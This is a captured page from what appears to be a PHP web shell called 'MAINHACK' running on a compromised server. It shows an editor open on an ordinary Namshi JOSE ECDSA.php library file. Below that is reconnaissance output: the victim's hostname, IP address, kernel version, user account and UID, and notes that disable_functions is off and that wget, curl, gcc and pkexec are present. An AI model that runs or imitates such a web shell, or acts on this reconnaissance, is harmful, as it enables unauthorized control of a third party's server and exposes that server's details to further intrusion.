[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ECDSA.php
<?php namespace Namshi\JOSE\Signer\OpenSSL; use phpseclib\File\ASN1; /** * Class responsible to sign inputs with the a ECDSA algorithm, after hashing it. */ abstract class ECDSA extends PublicKey { public function __construct() { if (version_compare(PHP_VERSION, '7.0.0-dev') >= 0) { throw new \InvalidArgumentException("phpseclib 1.0.0(LTS), even the latest 2.0.0, doesn't support PHP7 yet"); } } /** * {@inheritdoc} */ protected function supportsKey($key) { if (false === parent::supportsKey($key)) { return false; } // openssl_sign with EC keys was introduced in this PHP release $minVersions = array( '5.4' => '5.4.26', '5.5' => '5.5.10', '5.6' => '5.6.0', ); if (isset($minVersions[PHP_MAJOR_VERSION.'.'.PHP_MINOR_VERSION]) && version_compare(PHP_VERSION, $minVersions[PHP_MAJOR_VERSION.'.'.PHP_MINOR_VERSION], '<')) { return false; } $keyDetails = openssl_pkey_get_details($key); if (0 === preg_match('/-----BEGIN PUBLIC KEY-----([^-]+)-----END PUBLIC KEY-----/', $keyDetails['key'], $matches)) { return false; } $publicKey = trim($matches[1]); $asn1 = new ASN1(); /* * http://tools.ietf.org/html/rfc3279#section-2.2.3 * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } * For ECDSA Signature Algorithm: * algorithm: ansi-X9-62 => 1.2.840.10045.2.1 * parameters: id-ecSigType => 1.2.840.10045.x.y.z * */ $asnAlgorithmIdentifier = array( 'type' => ASN1::TYPE_SEQUENCE, 'children' => array( 'ansi-X9-62' => array( 'type' => ASN1::TYPE_OBJECT_IDENTIFIER, ), 'id-ecSigType' => array( 'type' => ASN1::TYPE_OBJECT_IDENTIFIER, ), ), ); /* * http://tools.ietf.org/html/rfc5280#section-4.1 * SubjectPublicKeyInfo ::= SEQUENCE { * algorithm AlgorithmIdentifier, * subjectPublicKey BIT STRING * } */ $asnSubjectPublicKeyInfo = array( 'type' => ASN1::TYPE_SEQUENCE, 'children' => array( 'algorithm' => $asnAlgorithmIdentifier, 'subjectPublicKey' => array( 'type' => ASN1::TYPE_BIT_STRING, ), ), ); $decoded = $asn1->decodeBER(base64_decode($publicKey)); $mappedDetails = $asn1->asn1map($decoded[0], $asnSubjectPublicKeyInfo); return isset($mappedDetails['algorithm']['id-ecSigType']) ? $this->getSupportedECDSACurve() === $mappedDetails['algorithm']['id-ecSigType'] : false; } /** * {@inheritdoc} */ protected function getSupportedPrivateKeyType() { return defined('OPENSSL_KEYTYPE_EC') ? OPENSSL_KEYTYPE_EC : false; } /** * Returns the ECDSA curve supported in this signer. * * @return string */ abstract protected function getSupportedECDSACurve(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.27 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002